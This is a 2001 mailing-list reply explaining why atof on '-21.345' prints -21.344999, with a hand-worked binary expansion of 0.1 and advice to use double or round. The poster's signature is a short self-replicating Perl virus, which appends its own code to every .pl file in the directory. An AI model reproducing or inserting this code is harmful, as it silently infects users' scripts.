Mail Archives: djgpp/2001/04/18/12:31:40
Igor Bujna <igor DOT bujna AT maxi-tip DOT cz> wrote:
> Hi,
> i have this problem with atof();
>
> char *buf = "-21.345\0";
> float f = 0;
>
> f = atof ( buf );
> printf("%f",f);
>
> , then i have this "-21.344999".
> What i must to do for it will be OK.
The problem is that floats, doubles and long doubles are stored in
binary form and -21.345 does not have a binary representation.
Look at this:
0.1 (decimal)
=
1 / 10
= 1 / 1010b = 0.000110011001100110...
0
=
10
0
==
100
0
===
1000
1000
====
10000
1010
====
1100
1010
====
100 etc.
Try using double or long double, and if that is not enough, round:
sprintf ("%.4f", a) or sth like that
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -